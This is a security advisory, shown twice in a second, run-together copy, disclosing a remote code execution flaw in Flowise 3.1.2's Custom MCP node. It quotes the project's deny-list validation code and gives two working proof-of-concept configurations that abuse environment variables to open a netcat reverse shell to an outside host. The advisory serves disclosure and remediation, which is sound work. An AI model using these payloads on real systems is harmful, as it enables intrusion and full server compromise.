=============================================================================
Security Advisory
elttam
Topic: Flowise RCE via Custom MCP Config Node
Module: FlowiseAI/Flowise
Disclosed: 15-Apr-2026
Credits: Alex Brown
Affects: FlowiseAI/Flowise 3.1.2
I. Background
Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.
Flowise supports connecting to custom Model Context Protocol (MCP) servers via the "Custom MCP" node, which leverages the @modelcontextprotocol/sdk dependency.
II. Problem Description
On deployments of Flowise that have the CUSTOM_MCP_PROTOCOL=stdio environment variable set (the default setting), the Custom MCP node allows the use of the StdioClientTransport MCP client, which is susceptible to Remote Code Execution (RCE). It is apparent reviewing the code that Flowise maintainers were aware of this risk, due to the validation checks that were enabled by default to mitigate against RCE.
The following code snippet shows that the node and python3 commands were allowed and the environment variable deny-list validation for a Custom MCP node configuration.
https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/tools/MCP/core.ts
export const validateArgsForLocalFileAccess = (args: string[]): void => {
const dangerousPatterns = [
// Absolute paths
/^\//, // Unix absolute paths starting with /
/^[a-zA-Z]:\\/, // Windows absolute paths like C:\
// Relative paths that could escape current directory
/\.\.\//, // Parent directory traversal with ../
/\.\.\\/, // Parent directory traversal with ..\
/^\.\./, // Starting with ..
// Local file access patterns
/^\.\//, // Current directory with ./
/^~\//, // Home directory with ~/
/^file:\/\//, // File protocol
// Common file extensions that shouldn't be accessed
/\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,
// File flags and options that could access local files
/^--?(?:file|input|output|config|load|save|import|export|read|write)=/i,
/^--?(?:file|input|output|config|load|save|import|export|read|write)$/i
]
for (const arg of args) {
if (typeof arg !== 'string') continue
// Check for dangerous patterns
for (const pattern of dangerousPatterns) {
if (pattern.test(arg)) {
throw new Error(`Argument contains potential local file access: "${arg}"`)
}
}
...
}
}
...
export const validateEnvironmentVariables = (env: Record<string, any>): void => {
const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH', 'NODE_OPTIONS'] <1>
for (const [key, value] of Object.entries(env)) {
if (dangerousEnvVars.includes(key)) {
throw new Error(`Environment variable '${key}' modification is not allowed`)
}
if (typeof value === 'string' && value.includes('\0')) {
throw new Error(`Environment variable '${key}' contains null byte`)
}
}
}
...
export const validateMCPServerConfig = (serverParams: any): void => {
// Validate the entire server configuration
if (!serverParams || typeof serverParams !== 'object') {
throw new Error('Invalid server configuration')
}
// Command allowlist - only allow specific safe commands
const allowedCommands = ['node', 'npx', 'python', 'python3', 'docker'] <2>
if (serverParams.command && !allowedCommands.includes(serverParams.command)) {
throw new Error(`Command '${serverParams.command}' is not allowed. Allowed commands: ${allowedCommands.join(', ')}`)
}
// Validate arguments if present
if (serverParams.args && Array.isArray(serverParams.args)) {
validateArgsForLocalFileAccess(serverParams.args)
validateCommandInjection(serverParams.args)
// Validate command-specific dangerous flags
if (serverParams.command) {
validateCommandFlags(serverParams.command, serverParams.args)
}
}
// Validate environment variables
if (serverParams.env) {
validateEnvironmentVariables(serverParams.env)
}
}
<1> Inadequate deny-list of dangerous environment variables.
<2> Allows the use of the node and python3 commands.
Allowing users to set arbitrary environment variables for a new process is considered dangerous, and a deny-list approach is not recommended.
The following documents two different methods of exploiting this insecure environment variable validation to achieve RCE on Flowise. The RCE payloads could then be triggered by refreshing the available actions for the Custom MCP node.
RCE via Python Environment Variables
The PYTHONWARNINGS and BROWSER environment variables could be abused to execute arbitrary terminal commands when a python3 process starts. The following JSON demonstrates a Custom MCP configuration that executes a reverse shell payload by abusing the PYTHONWARNINGS and BROWSER python3 environment variables.
{
"command": "python3",
"args": [],
"env": {
"PYTHONWARNINGS": "module::antigravity.",
"BROWSER": "sh -c '/usr/bin/nc 172.17.0.1 1337 -e /bin/sh' #%s"
}
}
ChatFlow export file
custom-mcp-python-poc.json
RCE via / Current Working Directory
The current working directory spawned using the StdioClientTransport was /, which can be abused to bypass the absolute file path validation check in validateArgsForLocalFileAccess. By setting the executed script to proc/self/environ for a node process, an attacker could override the HOME environment variable to contain JavaScript code, as shown in the following MCP configuration.
{
"command": "node",
"args": ["proc/self/environ"],
"env": {
"HOME": "console.log(require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh').toString());//" <1>
}
}
<1> The trailing // is to comment out the other environment variables.
ChatFlow export file
custom-mcp-node-poc.json
III. Impact
An authenticated user on a Flowise instance that did not have the CUSTOM_MCP_PROTOCOL=sse environment variable set could exploit this RCE vulnerability, resulting in full compromise of the application.
IV. Solution
The default setting for the CUSTOM_MCP_PROTOCOL Flowise environment variable should be sse, due to the risk of RCE the StdioClientTransport client introduces. A deny-list approach for validating environment variables is not recommended, as there are likely other methods to achieve RCE via environment variables that are not documented in this report.
V. References
=============================================================================
Security Advisory
elttam
Topic: Flowise RCE via Custom MCP Config Node
Module: FlowiseAI/Flowise
Disclosed: 15-Apr-2026
Credits: Alex Brown
Affects:
FlowiseAI/Flowise 3.1.2I. Background
Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.
Flowise supports connecting to custom Model Context Protocol (MCP) servers via the "Custom MCP" node, which leverages the
@modelcontextprotocol/sdkdependency.II. Problem Description
On deployments of Flowise that have the
CUSTOM_MCP_PROTOCOL=stdioenvironment variable set (the default setting), the Custom MCP node allows the use of theStdioClientTransportMCP client, which is susceptible to Remote Code Execution (RCE). It is apparent reviewing the code that Flowise maintainers were aware of this risk, due to the validation checks that were enabled by default to mitigate against RCE.The following code snippet shows that the
nodeandpython3commands were allowed and the environment variable deny-list validation for a Custom MCP node configuration.https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/tools/MCP/core.ts
<1> Inadequate deny-list of dangerous environment variables.
<2> Allows the use of the
nodeandpython3commands.Allowing users to set arbitrary environment variables for a new process is considered dangerous, and a deny-list approach is not recommended.
The following documents two different methods of exploiting this insecure environment variable validation to achieve RCE on Flowise. The RCE payloads could then be triggered by refreshing the available actions for the Custom MCP node.
RCE via Python Environment Variables
The
PYTHONWARNINGSandBROWSERenvironment variables could be abused to execute arbitrary terminal commands when apython3process starts. The following JSON demonstrates a Custom MCP configuration that executes a reverse shell payload by abusing thePYTHONWARNINGSandBROWSERpython3environment variables.{ "command": "python3", "args": [], "env": { "PYTHONWARNINGS": "module::antigravity.", "BROWSER": "sh -c '/usr/bin/nc 172.17.0.1 1337 -e /bin/sh' #%s" } }ChatFlow export file
custom-mcp-python-poc.json
RCE via
/Current Working DirectoryThe current working directory spawned using the
StdioClientTransportwas/, which can be abused to bypass the absolute file path validation check invalidateArgsForLocalFileAccess. By setting the executed script toproc/self/environfor anodeprocess, an attacker could override theHOMEenvironment variable to contain JavaScript code, as shown in the following MCP configuration.{ "command": "node", "args": ["proc/self/environ"], "env": { "HOME": "console.log(require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh').toString());//" <1> } }<1> The trailing
//is to comment out the other environment variables.ChatFlow export file
custom-mcp-node-poc.json
III. Impact
An authenticated user on a Flowise instance that did not have the
CUSTOM_MCP_PROTOCOL=sseenvironment variable set could exploit this RCE vulnerability, resulting in full compromise of the application.IV. Solution
The default setting for the
CUSTOM_MCP_PROTOCOLFlowise environment variable should besse, due to the risk of RCE theStdioClientTransportclient introduces. A deny-list approach for validating environment variables is not recommended, as there are likely other methods to achieve RCE via environment variables that are not documented in this report.V. References